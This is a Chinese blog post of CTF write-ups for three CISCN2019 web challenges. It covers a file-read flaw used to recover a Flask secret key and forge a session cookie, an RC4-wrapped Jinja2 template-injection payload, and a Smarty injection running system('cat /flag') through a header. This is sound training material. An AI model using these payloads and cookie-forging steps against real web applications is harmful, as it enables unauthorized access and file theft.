江鸟's Blog

CISCN2019 华东南赛区 buu复现笔记

字数统计: 730阅读时长: 3 min
2020/04/01 Share

不说了 直接冲就完了,buu有四个华东南的,但是我只做出来三个,剩下一个web9看的云里雾里,拿了赵师傅的exp也不会打,有点菜哈哈哈哈~~~

CISCN2019 华东南赛区 buu复现笔记

Web4

进入看到一个url为read?url=https://baidu.com,并且返回值为 no response

读取环境变量 /read?url=/proc/self/environ

1
LANG=C.UTF-8SHELL=/bin/ashSHLVL=1WERKZEUG_RUN_MAIN=trueCHARSET=UTF-8PWD=/appWERKZEUG_SERVER_FD=3LOGNAME=glzjinUSER=glzjinHOME=/appPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPS1=\h:\w\$ PAGER=less

app/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

发现是一个session覆盖,但是key是一个随机数,其实python的随机数在一定条件下,也是可以得到的

seed的uuid.getnode()是mac地址,所以seed是固定的,随机数也固定

读取/sys/class/net/eth0/address

02:42:ae:01:b2:a2

构造key

1
2
3
4
5
import random
mac="02:42:ae:01:b2:a2"
random.seed(int(mac.replace(":", ""), 16))
key = str(random.random() * 233)
print(key)

key为125.992042315

然后使用脚本

1
2
3
4
5
6
python2 flask_session_cookie_manager2.py encode -s "125.992042315" -t "{u'username': 'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.XoSe8A.SrsY7tZtbWrg2xW28bRUxJPNolo

python2 flask_session_cookie_manager2.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XoSTWQ.Bg7pxdJiI9EfRJ3sJtsuAxWdX3A" -s "125.992042315"

{u'username': 'www-data'}

然后去 /flag即可

Double Secret

根据提示传参数,发现是flask,在输出某些字符的时候,会出debug

在爆出的部分源码里面,发现了rc4,上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib.parse
import requests
class RC4:
def __init__(self, key):
self.key = key
self.key_length = len(key)
self._init_S_box()

def _init_S_box(self):
self.Box = [i for i in range(256)]
k = [self.key[i % self.key_length] for i in range(256)]
j = 0
for i in range(256):
j = (j + self.Box[i] + ord(k[i])) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]

def crypt(self, plaintext):
i = 0
j = 0
result = ''
for ch in plaintext:
i = (i + 1) % 256
j = (j + self.Box[i]) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
t = (self.Box[i] + self.Box[j]) % 256
result += chr(self.Box[t] ^ ord(ch))
return result

a = RC4('HereIsTreasure')
cmd = "{{ [].__class__.__base__.__subclasses__()[40]('/flag.txt').read() }}"
payload = urllib.parse.quote(a.crypt(cmd))
# res = requests.get(url + payload)
print(payload)

再传参,getflag

web11

看到有一个api的,就去访问了,随便打一个Client-ip就被读取了,试了一下发现还是ssti

而且主页面有提示Build With Smarty !,所以是php的这个ssti

直接去getflag就好了

1
Client-ip:{if system('cat /flag')}{/if}
CATALOG
  1. 1. CISCN2019 华东南赛区 buu复现笔记
    1. 1.1. Web4
    2. 1.2. Double Secret
    3. 1.3. web11